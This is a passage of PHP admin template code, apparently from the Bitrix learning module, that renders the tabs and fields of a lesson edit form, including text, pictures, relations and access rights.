				<input type="text" name="CODE" size="20" maxlength="40" value="<?php echo $str_CODE; ?>">
				<?php
			}
			?>
		</td>
	</tr>
	<?php
$tabControl->EndCustomField('CODE', '<input type="hidden" id="CODE" name="CODE" value="' . $str_CODE . '">');

$tabControl->BeginCustomField("KEYWORDS", GetMessage("LEARNING_KEYWORDS"), false);?>
	<tr>
		<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
		<td valign="top">
			<?php
			if ($bContentReadOnly)
				echo $str_KEYWORDS;
			else
			{
				?>
				<input type="text" name="KEYWORDS" size="50" maxlength="255" value="<?echo $str_KEYWORDS?>">
				<?php
			}
			?>
		</td>
	</tr>
	<?php 
$tabControl->EndCustomField("KEYWORDS", '<input type="hidden" id="KEYWORDS" name="KEYWORDS" value="' . $str_KEYWORDS . '">');


// If we are in context of parent lesson - show EDGE_SORT property
if (isset($g_learn_parentLessonId))
{
	$resParentLessonData = CLearnLesson::GetByID($g_learn_parentLessonId);
	$arParentLessonData  = $resParentLessonData->GetNext();
	if (is_array($arParentLessonData))
	{
		$tabControl->BeginCustomField("ZOMBIE_CONTEXT_PARENT_NAME", GetMessage("LEARNING_PARENT_CHAPTER_ID"), false);
		?>
			<tr>
				<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
				<td><?php echo $arParentLessonData['NAME']; ?></td>
			</tr>
		<?php
		$tabControl->EndCustomField("ZOMBIE_CONTEXT_PARENT_NAME");

		$tabControl->BeginCustomField('EDGE_SORT', GetMessage('LEARNING_SORT'), false);
		?>
		<!-- Sort -->
			<tr>
				<td><? echo $tabControl->GetCustomLabelHTML()?>:</td>
				<td>
					<?php
					if ($bContentReadOnly)
						echo $str_EDGE_SORT;
					else
					{
						?>
						<input type="text" name="EDGE_SORT" size="10" maxlength="10" value="<?php echo $str_EDGE_SORT; ?>">
						<?php
					}
					?>
				</td>
			</tr>
		<?php
		if ($bContentReadOnly)
			$tabControl->EndCustomField('EDGE_SORT');
		else
			$tabControl->EndCustomField('EDGE_SORT', '<input type="hidden" id="EDGE_SORT" name="EDGE_SORT" value="' . $str_EDGE_SORT . '">');
	}

	unset ($resParentLessonData, $arParentLessonData);
}

// PUBLISH_PROHIBITED - Only in context of most top course
if ($topCourseLessonId !== false)
{
	$resRootLessonData = CLearnLesson::GetByID($topCourseLessonId);
	$arRootLessonData  = $resRootLessonData->Fetch();
	if (is_array($arRootLessonData))
	{
		$tabControl->BeginCustomField(
			'PUBLISH_PROHIBITED', 
			GetMessage('LEARNING_COURSE_ADM_PUBLISH_PROHIBITED'), 
			false
		);
		?>
		<!-- PUBLISH_PROHIBITED -->
			<tr>
				<td><? echo $tabControl->GetCustomLabelHTML()?>:</td>
				<td>
					<label>
						<?php
						if ($bContentReadOnly)
							echo $str_PUBLISH_PROHIBITED;
						else
						{
							?>
							<input type="checkbox" name="PUBLISH_PROHIBITED" 
								value="Y" <?php if ($str_PUBLISH_PROHIBITED=="Y") echo "checked"; ?>>
							<?php
						}

						echo ' (' 
							. str_replace(
								'#COURSE_NAME#', 
								'&laquo;' . htmlspecialcharsbx($arRootLessonData['NAME']) . '&raquo;', 
								GetMessage('LEARNING_COURSE_ADM_PUBLISH_PROHIBITED_CONTEXT')
							)
							. ')';
						?>
					</label>
				</td>
			</tr>
		<?php
		if ($bContentReadOnly)
			$tabControl->EndCustomField('PUBLISH_PROHIBITED');
		else
			$tabControl->EndCustomField('PUBLISH_PROHIBITED', '<input type="hidden" id="PUBLISH_PROHIBITED" name="PUBLISH_PROHIBITED" value="' . $str_PUBLISH_PROHIBITED . '">');
	}

	unset ($resParentLessonData, $arRootLessonData);
}


$tabControl->BeginNextFormTab();
$tabControl->BeginCustomField("PREVIEW_TEXT", GetMessage("LEARNING_PREVIEW_TEXT"), false);?>
	<?if(COption::GetOptionString("learning", "use_htmledit", "Y")=="Y" && CModule::IncludeModule("fileman")):?>
	<tr>
		<td colspan="2" align="center">
			<?php
			if ($bContentReadOnly)
			{
				?>
				<div>
					<?php
					echo GetMessage("LEARNING_DESC_TYPE") . ': ';
					if ($str_PREVIEW_TEXT_TYPE != 'html')
						echo GetMessage("LEARNING_DESC_TYPE_TEXT");
					else
						echo GetMessage("LEARNING_DESC_TYPE_HTML");
					?>
				</div>

				<div id="learn_unilesson_edit_preview_text_div">
					<script type="text/javascript">
						var iframe = document.createElement('iframe');
						iframe.style.width = '100%';
						iframe.style.height = '200px';
						document.getElementById('learn_unilesson_edit_preview_text_div').appendChild(iframe);
						var idoc = iframe.contentWindow.document;
						idoc.write('<?php echo CUtil::JSEscape(htmlspecialcharsback($str_PREVIEW_TEXT)); ?>');
					</script>
				</div>
				<?php
			}
			else
			{
				CFileMan::AddHTMLEditorFrame(
					"PREVIEW_TEXT",
					$str_PREVIEW_TEXT,
					"PREVIEW_TEXT_TYPE",
					$str_PREVIEW_TEXT_TYPE,
					array(
						'width' => '100%',
						'height' => '600'
						),
					"N",
					0,
					"",
					"",
					false,
					true,
					false,
					array('toolbarConfig' => CFileman::GetEditorToolbarConfig("learning_".(defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1 ? 'public' : 'admin')))
				);
			}
			?>
		</td>
	</tr>
	<?else:?>
	<tr>
		<td align="center"><?echo GetMessage("LEARNING_DESC_TYPE")?>:</td>
		<td>
			<input type="radio" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> name="PREVIEW_TEXT_TYPE" value="text"<?if($str_PREVIEW_TEXT_TYPE!="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_TEXT")?> / 
			<input type="radio" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> name="PREVIEW_TEXT_TYPE" value="html"<?if($str_PREVIEW_TEXT_TYPE=="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_HTML")?>
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<?php
			if ($bContentReadOnly)
			{
				?>
				<div id="learn_unilesson_edit_preview_text_div">
					<script type="text/javascript">
						var iframe = document.createElement('iframe');
						iframe.style.width = '100%';
						iframe.style.height = '200px';
						document.getElementById('learn_unilesson_edit_preview_text_div').appendChild(iframe);
						var idoc = iframe.contentWindow.document;
						idoc.write('<?php echo CUtil::JSEscape(htmlspecialcharsback($str_PREVIEW_TEXT)); ?>');
					</script>
				</div>
				<?php
			}
			else
			{
				?>
				<textarea style="width:100%; height:200px;" name="PREVIEW_TEXT" wrap="virtual"><?echo $str_PREVIEW_TEXT?></textarea>
				<?php
			}
			?>
		</td>
	</tr>
	<?endif?>
<?php $tabControl->EndCustomField("PREVIEW_TEXT",
	'<input type="hidden" id="PREVIEW_TEXT" name="PREVIEW_TEXT" value="' . $str_PREVIEW_TEXT . '">'.
	'<input type="hidden" id="PREVIEW_TEXT_TYPE" name="PREVIEW_TEXT_TYPE" value="' . $str_PREVIEW_TEXT_TYPE . '">'
);?>
<?php $tabControl->BeginCustomField("PREVIEW_PICTURE", GetMessage("LEARNING_PICTURE"), false);?>
	<tr>
		<?php
		if ( $bContentReadOnly && ! $str_PREVIEW_PICTURE)
		{
			?>
			<td colspan="2" align="center">
				<?php
				echo $tabControl->GetCustomLabelHTML() . ': ' . GetMessage('LEARNING_NO');
				?>
			</td>
			<?php
		}
		else
		{
			?>
			<td valign="top" style="width:50%;"><?echo $tabControl->GetCustomLabelHTML()?></td>
			<td>
				<?php
				if ( ! $bContentReadOnly )
					echo CFile::InputFile("PREVIEW_PICTURE", 20, $str_PREVIEW_PICTURE, false, 0, "IMAGE", "", 40) . '<br>';

				if ($str_PREVIEW_PICTURE)
				{
					echo CFile::ShowImage($str_PREVIEW_PICTURE, 200, 200, "border=0", "", true);
				}
				?>
			</td>
			<?php
		}
		?>
	</tr>
<?php $tabControl->EndCustomField("PREVIEW_PICTURE");?>

<?$tabControl->BeginNextFormTab();?>
<?php $tabControl->BeginCustomField("DESCRIPTION", GetMessage("LEARNING_DESCRIPTION"), false);?>
	<tr>
		<td valign="top" width="50%" align="right"><?echo GetMessage("LEARNING_CONTENT_SOURCE")?>:</td>
		<td valign="top" width="50%">
			<label><input onClick="toggleSource()" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> type="radio" name="CONTENT_SOURCE" value="field"<?php echo $str_DETAIL_TEXT_TYPE!="file" ? " checked" : ""?>>&nbsp;<?echo GetMessage("LEARNING_CONTENT_SOURCE_FIELD")?></label><br />
			<label><input onClick="toggleSource()" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> type="radio" name="CONTENT_SOURCE" value="file"<?php echo $str_DETAIL_TEXT_TYPE=="file" ? " checked" : ""?>>&nbsp;<?echo GetMessage("LEARNING_CONTENT_SOURCE_FILE")?> (pdf, html, text, jpg, png)</label>
		</td>
	</tr>
	<?if(COption::GetOptionString("learning", "use_htmledit", "Y")=="Y" && CModule::IncludeModule("fileman")):
	?>
	<tr id="source_field[0]">
		<td colspan="2" align="center">
			<?php
			if ($bContentReadOnly)
			{
				?>
				<div>
					<?php
					echo GetMessage("LEARNING_DESC_TYPE") . ': ';
					if ($str_DETAIL_TEXT_TYPE != 'html')
						echo GetMessage("LEARNING_DESC_TYPE_TEXT");
					else
						echo GetMessage("LEARNING_DESC_TYPE_HTML");
					?>
				</div>

				<div id="learn_unilesson_edit_detail_text_div">
					<script type="text/javascript">
						var iframe = document.createElement('iframe');
						iframe.style.width = '100%';
						iframe.style.height = '300px';
						document.getElementById('learn_unilesson_edit_detail_text_div').appendChild(iframe);
						var idoc = iframe.contentWindow.document;
						idoc.write('<?php echo CUtil::JSEscape(htmlspecialcharsback($str_DETAIL_TEXT)); ?>');
					</script>
				</div>
				<?php
			}
			else
			{
				CFileMan::AddHTMLEditorFrame(
					"DETAIL_TEXT",
					$str_DETAIL_TEXT,
					"DETAIL_TEXT_TYPE",
					$str_DETAIL_TEXT_TYPE,
					array(
						'width' => '100%',
						'height' => '600'
						),
					"N",
					0,
					"",
					"",
					false,
					true,
					false,
					array('toolbarConfig' => CFileman::GetEditorToolbarConfig("learning_".(defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1 ? 'public' : 'admin')))
				);
			}
			?>
		</td>
	</tr>
	<?else:?>
	<tr id="source_field[0]">
		<td valign="top"><?echo GetMessage("LEARNING_DESC_TYPE")?></td>
		<td valign="top">
			<input type="radio" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> name="DETAIL_TEXT_TYPE" value="text"<?if($str_DETAIL_TEXT_TYPE!="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_TEXT")?> / 
			<input type="radio" <?php if ($bContentReadOnly) echo ' disabled="disabled" '; ?> name="DETAIL_TEXT_TYPE" value="html"<?if($str_DETAIL_TEXT_TYPE=="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_HTML")?>
		</td>
	</tr>
	<tr id="source_field[1]">
		<td valign="top" align="center" colspan="2">
			<?php
			if ($bContentReadOnly)
			{
				?>
				<div id="learn_unilesson_edit_detail_text_div">
					<script type="text/javascript">
						var iframe = document.createElement('iframe');
						iframe.style.width = '100%';
						iframe.style.height = '200px';
						document.getElementById('learn_unilesson_edit_detail_text_div').appendChild(iframe);
						var idoc = iframe.contentWindow.document;
						idoc.write('<?php echo CUtil::JSEscape(htmlspecialcharsback($str_DETAIL_TEXT)); ?>');
					</script>
				</div>
				<?php
			}
			else
			{
				?>
				<textarea style="width:100%; height:200px;" name="DETAIL_TEXT" wrap="virtual"><?echo $str_DETAIL_TEXT?></textarea>
				<?php
			}
			?>
		</td>
	</tr>
	<?endif;?>
	<tr id="source_file">
		<td valign="top" align="right"><?echo GetMessage("LEARNING_PATH_TO_FILE")?>:</td>
		<td valign="top">
			<?php
			if ($bContentReadOnly)
				echo $str_LAUNCH;
			else
			{
				?>
				<input type="text" name="LAUNCH" size="50" maxlength="255" value="<?echo $str_LAUNCH?>">
				<?php
			}
			?>
		</td>
	</tr>
	<script type="text/javascript">toggleSource()</script>
<?php $tabControl->EndCustomField("DESCRIPTION", 
	'<input type="hidden" id="DESCRIPTION" name="DESCRIPTION" value="' . $str_DESCRIPTION . '">'
	. '<input type="hidden" id="DETAIL_TEXT_TYPE" name="DETAIL_TEXT_TYPE" value="' . $str_DETAIL_TEXT_TYPE . '">'
	. '<input type="hidden" id="LAUNCH" name="LAUNCH" value="' . $str_LAUNCH . '">'
	);?>
<?php $tabControl->BeginCustomField("DETAIL_PICTURE", GetMessage("LEARNING_PICTURE"), false);?>
	<tr>
		<?php
		if ( $bContentReadOnly && ! $str_DETAIL_PICTURE)
		{
			?>
			<td colspan="2" align="center">
				<?php
				echo $tabControl->GetCustomLabelHTML() . ': ' . GetMessage('LEARNING_NO');
				?>
			</td>
			<?php
		}
		else
		{
			?>
			<td valign="top" style="width:50%;"><?echo $tabControl->GetCustomLabelHTML()?></td>
			<td>
				<?php
				if ( ! $bContentReadOnly )
					echo CFile::InputFile("DETAIL_PICTURE", 20, $str_DETAIL_PICTURE, false, 0, "IMAGE", "", 40) . '<br>';

				if ($str_DETAIL_PICTURE)
				{
					echo CFile::ShowImage($str_DETAIL_PICTURE, 200, 200, "border=0", "", true);
				}
				?>
			</td>
			<?php
		}
		?>
	</tr>
<?php $tabControl->EndCustomField("DETAIL_PICTURE");


// Tab: Relations
if (($LESSON_ID > 0) && CLearnAccessMacroses::CanUserViewLessonRelations (array('lesson_id' => $LESSON_ID)))
{
	$tabControl->BeginNextFormTab();
	$tabControl->BeginCustomField("_RELATIONS", '', false);
	echo '<tr><td>';
	CLearnRelationHelper::RenderForm($oAccess, $LESSON_ID, $arOPathes);
	echo '</td></tr>';
	$tabControl->EndCustomField("_RELATIONS", '<input type="hidden" id="SKIP_RELATIONS_SAVING" name="SKIP_RELATIONS_SAVING" value="Y">');
}
else
{
	/*
	$tabControl->BeginNextFormTab();
	$tabControl->BeginCustomField("_RELATIONS", '', false);

	if ($LESSON_ID > 0)
	{
		echo '<tr><td>'
			. GetMessage('LEARNING_ACCESS_D_FOR_EDIT_CONTENT')
			. '</td></tr>';
	}
	else
	{
		echo '<tr><td>'
			. GetMessage('LEARNING_EDIT_FORM_WILL_BE_AVAILABLE_AFTER_LESSON_CREATION')
			. '</td></tr>';
	}

	$tabControl->EndCustomField("_RELATIONS", '<input type="hidden" id="SKIP_RELATIONS_SAVING" name="SKIP_RELATIONS_SAVING" value="Y">');
	*/
}


if (($LESSON_ID > 0) && CLearnAccessMacroses::CanUserViewLessonRights (array('lesson_id' => $LESSON_ID)))
{
	$readOnly = true;
	if (CLearnAccessMacroses::CanUserEditLessonRights (array('lesson_id' => $LESSON_ID)))
		$readOnly = false;

	$tabControl->BeginNextFormTab();
	$tabControl->BeginCustomField("__GESGSTR", '', false);
	CLearnRenderRightsEdit::RenderLessonRightsTab ($USER->GetID(), 'LESSON_RIGHTS', $LESSON_ID, $readOnly);
	if ($readOnly)
		echo '<input type="hidden" id="SKIP_RIGHTS_SAVING" name="SKIP_RIGHTS_SAVING" value="Y">';
	$tabControl->EndCustomField("__GESGSTR");
}
else
{
	/*
	$tabControl->BeginNextFormTab();
	$tabControl->BeginCustomField("__GESGSTR", '', false);

	if ($LESSON_ID > 0)
	{
		echo '<tr><td>'
			. GetMessage('LEARNING_ACCESS_D_FOR_MANAGE_RIGHTS')
			. '</td></tr>';
	}
	else
	{
		echo '<tr><td>'
			. GetMessage('LEARNING_EDIT_FORM_WILL_BE_AVAILABLE_AFTER_LESSON_CREATION')
			. '</td></tr>';
	}

	$tabControl->EndCustomField("__GESGSTR", '<input type="hidden" id="SKIP_RIGHTS_SAVING" name="SKIP_RIGHTS_SAVING" value="Y">');
	*/
}

$uriParentLessonPath = "";
if ($LESSON_ID === 0 && isset($g_learn_currentLessonPath))
{
	$uriParentLessonPath = '&LESSON_PATH=' . urlencode($g_learn_currentLessonPath);
}
elseif (isset($g_learn_parentLessonPath))
{
	$uriParentLessonPath = '&LESSON_PATH=' . urlencode($g_learn_parentLessonPath);
}

if (isset($g_learn_currentLessonPath))
	$uriCurrentLessonPath = '&LESSON_PATH=' . urlencode($g_learn_currentLessonPath);
else
	$uriCurrentLessonPath = '';

$tabControl->BeginNextFormTab();
$tabControl->BeginCustomField("UFS", '', false);
$USER_FIELD_MANAGER->EditFormShowTab('LEARNING_LESSONS', $bVarsFromForm, $LESSON_ID); 
$tabControl->EndCustomField("UFS");

$tabControl->Buttons(
	array(
		'disabled' => $isBtnsDisabled,
		"back_url" => "/bitrix/admin/learn_unilesson_admin.php?lang=". LANG
			. $uriParentLessonPath
			. GetFilterParams("filter_", false)
		)
	);

$tabControl->arParams["FORM_ACTION"] = $APPLICATION->GetCurPage() . "?lang=" . LANG 
	. $uriCurrentLessonPath
	. GetFilterParams("filter_");

$tabControl->Show();
//$tabControl->End();
$tabControl->ShowWarnings($tabControl->GetName(), $message);

else: //if (!$bBadCourse)

$aContext = array(
	array(
		"ICON" => "btn_list",
		"TEXT"=>GetMessage("MAIN_ADMIN_MENU_LIST"),
		"LINK"=>"learn_unilesson_admin.php?lang=" . LANG . '&PARENT_LESSON_ID=-1' . GetFilterParams("filter_"),
		"TITLE"=>GetMessage("LEARNING_BACK_TO_ADMIN")
	),
);

$context = new CAdminContextMenu($aContext);
$context->Show();


CAdminMessage::ShowMessage(GetMessage("LEARNING_BAD_COURSE"));
endif;

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");?>